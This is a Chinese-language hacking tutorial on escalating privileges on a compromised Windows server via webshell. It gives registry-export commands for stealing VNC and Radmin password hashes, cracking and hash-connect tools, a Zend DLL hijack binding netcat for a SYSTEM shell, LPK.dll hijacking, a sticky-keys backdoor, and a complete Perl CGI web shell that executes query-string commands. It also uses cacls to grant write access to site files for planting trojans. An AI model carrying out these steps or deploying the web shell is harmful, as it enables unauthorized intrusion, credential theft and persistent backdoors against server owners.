0x01. VNC提权
这些第三方软件的提权也是建立在获取webshell的基础上
1.1 环境部署
双击安装vnc
搭建环境的话 , vnc服务端和客户端都安装一下
安装完成点击确定 , 设置连接密码 : 123456
打开注册机 , 获取key : R8NLH-CQW8E-QMA7E-VQ3VQ-JCEJA
粘贴进入 , 点击ok , 双击打开 , 测试连接
只要是任意一台vnc的客户端 , 知道了这台服务器的ip以及连接的密码 , 都可以通过vnc客户端进行远程管理服务
器 , 具体的操作权限取决于vnc服务端中的options选项配置的参数
vnc端口号 : 5900
1.2 读取vnc密码
通过webshell自带的功能读取
不一定能读的到 , 我这里测试就没有读到 , 哈哈哈哈 , 如果读不到可以尝试在菜刀终端执行以下命令
前提是你当前的webshell的权限是可以读取注册表的
Cmd /c "regedit /e c:\123.reg "HKEY_LOCAL_MACHINE\software\RealVNC\WinVNC4" "
/c不回显 /e 导出注册表 具体导出的内容
下载到本地 , 并用记事本打开 , 然后用工具vncx4.exe破解密码
命令 :
vncx4.exe -W
vnc的密码保存在注册表中 , 这个破解工具和密码的复杂度无关
0x02. Radmin提权
Radmin 是一款屡获殊荣的安全远程控制软件,详细介绍请查看官方网站: http://www.radmin.cn
这款软件非常不错 , 速度也快 , 既可以作为远程管理服务器的工具 , 也可以当做一个远程马 ,也是收费软件
2.1 Radmin安装
进入到radmin的文件夹下 , cmd下运行server.exe /setup
设置密码 , 尴尬默认密码策略最少8位 , 新密码: 12345678
设置参数 , 隐藏状态栏图标 , 默认端口 : 4899
输入注册码 , 注册码在radmin文件下有
点击安装服务 , 双击server.exe
2.2 测试连接
整个过程你在服务器上都察觉不到安装了radmin , 测试连接 , 双击radmin.exe连接
右键有很多功能 , 文件管理 , 语音聊天 , 锁定键盘等等 , 就不一一演示了,
2.3 读取密码
前提是你当前的webshell的权限是可以读取注册表的
我们的重点是如何基于webshe如果对方服务器装了radmi , 我们如何拿到他的密码 , 通过webshell自带的功能读
取radmin密码
02BA5E187E2589BE6F80DA0046AA7E3C 注意这里大小写有问题
02ba5e187e2589be6f80da0046aa7e3c
radmin的密码也是在注册表中 , 也可以通过命令导出 , 然后通过菜刀下载到本地
cmd /c "regedit /e c:\1234.reg "HKEY_LOCAL_MACHINE\system\RAdmin\v2.0\Server\""
然后通过cmd5网站解密 , 当然也有一个不错的办法 , 就是通过32位hash连接 , 这个需要特殊的radmin版本
Radmin_Hash.exe
然后输入32hash值就可以连接了
0x03. Zend提权
当PHP网站搭建好之后 , 运维人员可能会安装一个Zend , 用来加速php的 , 一般服务器安装了Zend就算服务器
C:\Program Files\设置过权限,Zend会自动会把C:\Program Files\Zend\ZendOptimizer-3.3.0\下的目录权限
设为 Everyone 权限 , 这导致入侵者能写入文件
本质是利用的Zend的权限漏洞
3.1 安装PHPnow
因为phpstudy中没有Zend这个东东 , 所以才安装phpnow
别忘记前提是有了webshell , 为了试验方便 , 直接上传一个webshell
下载路径 : http://servkit.org/?from=phpnow.org
双击PnCp.cmd , 输入20, 启动服务 , 网站根目录为htdocs
http://192.168.1.108:8080/index.php
菜刀连接一句话木马
2.2 提权
具体步骤 :
1、通过webshell上传nc和cmd到远程服务器zendextensionmanager.dll目录
2、复制一份zendextensionmanager.dll重命名,把原有的zendextensionmanager.dll也改名,
再通过Zend_DLL_Hijacking_for_nc.exe生成一个带后门的zendextensionmanager.dll上传到目标服务器
zendextensionmanager.dll目录
这是我的演示机的路径 C:\PHPnow\ZendOptimizer\
3、重启apache加载 , 通过webshell运行PnCp.cmd
4、telnet ip 端口 登录目录服务器
telnet 192.168.1.108 1234
这样就可以在命令行操作对方的电脑了 , 还是system权限 , 这类似是一个软件绑定 , 我们把nc和dll和cmd三个绑
定在了一起 , 当apache重启的时候 , 就会启动zend加速 , 也会启动绑定的nc , 这样就实现了通过zend加速提权
0x04. Dll劫持提权
dll劫持是指可以劫持服务器操作系统中的任意exe文件 , 如qq ,微信 , 腾云会议等等 , 这个真不错
利用的本质就是当服务器运行劫持的exe文件后 , 也会运行我们的木马
4.1 生成劫持
注意文件名只能是LPK.dll , 生成之后千万别再点那个exe文件了 , 要不然会在你本机生成后门 , 将文件通过菜刀
上传到服务器上 , 当有exe文件运行的时候 , 就会触发我们的后门运行
4.2 劫持步骤
因为要有exe运行 , 所以我在自己的环境中就自己双击exe运行 , 你最好放在会有exe运行的目录下
通过3389连接服务器
连续点击5次shift , 然后鼠标点击最后一个。(句号),同时按住AB键 , 输入密码
0x05. 启动项提权
这个方法和mysql中的那个启动项提权本质一样 , 就是把我们的木马写到启动项中 , 但是一般很难成功 , 因为普通
用户的权限是没办法写入到启动项的 , 如果有这样的权限 , 直接通过webshell传一个cs木马 , 然后运行 , 这样岂不
是更简单。所以你知道有这个方法 , 就不具体显示了 , 因为很难遇到
0x06. 服务替换提权
我们要修改的主要是随服务一起启动的程序,我们可以通过WebShell上的服务查看组件看到有哪些服务是在运行
的,有一个规律,就是不要找在WINDOWS目录或者程序目录下的文件,这两个目录是默为没有修改的权限的,
安装在其它目录的程序可被替换的成功率比较大 , 但是这个服务一般启动不成功 , 因为你破坏了服务 ,操作
系统就不会再启动了 , 很鸡肋 ,不是很好用 , 也不讲了 , 可以自行百度 。
0x07. Perl提权
Perl是一种最广泛应用于语法分析和 World Wide Web的编程语言。它起源于 awk、C、sh 和 sed 语言,然
而,它的应用开发远比其他任何一种面向对象编程语言更加容易。
PERL在默认安装时BIN目录是具有EVERYONE的完全控制权限和CGI执行权限的,所以能执行任意命令,这是一个
NTFS权限导至的提权漏洞。
#!/usr/bin/perlbinmode(STDOUT);syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);$_ = $ENV{QUERY_STRING};s/%20/ /ig;s/%2f/\//ig;$execthis = $_;syswrite(STDOUT, "\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT, "\r\n\r\n", 17);close(STDERR);close(STDOUT);exit;
0x08. Cacls命令在权限中的应用
有经验的管理员喜欢把首页文件设置IUSER用户没有写权限,用来防止被挂木马或者将NET.EXE、FTP.EXE等工具
设置不给IUSER用户使用权限,让我们无法用NET.exe、USER建帐号或FTP下载文件,我们可以利用Cacls 修改权限
后再正常使用。
cacls c:\index.asp /t /e /c /g interactive:f把index.asp加入interactive组并赋予完全控制权限(IIS的IUSER_用户
就在这一组中).这样就可以对index.asp任意编辑。
Cacls filename [/T] [/E] [/C] [/G usererm] [/R user [...]] [/P usererm [...]] [/D user [...]]Filename:显示访问控制列表(以下简称ACL)/T:更改当前目录及其所有子目录中指定文件的ACL/E:编辑ACL而不替换/C:在出现拒绝访问错误时继续 /G Userer:perm:赋予指定用户访问权限,Perm代表不同级别的访问权限,其值可以是R(读取)、W(写入)、C(更改,写入)、F(完全控制)等。/R user:撤销指定用户的访问权限,注意该参数仅在与“/E”一起使用时有效。/P user:perm:替换指定用户的访问权限,perm的含义同前,但增加了“N(无)”的选项。/D user:拒绝指定用户的访问
0x09. 总结
现在很多提权都是集中在cs中 , 因为有很多插件可以一键提权 , 一方便不用下载那么多的工具 , 而且很节约时间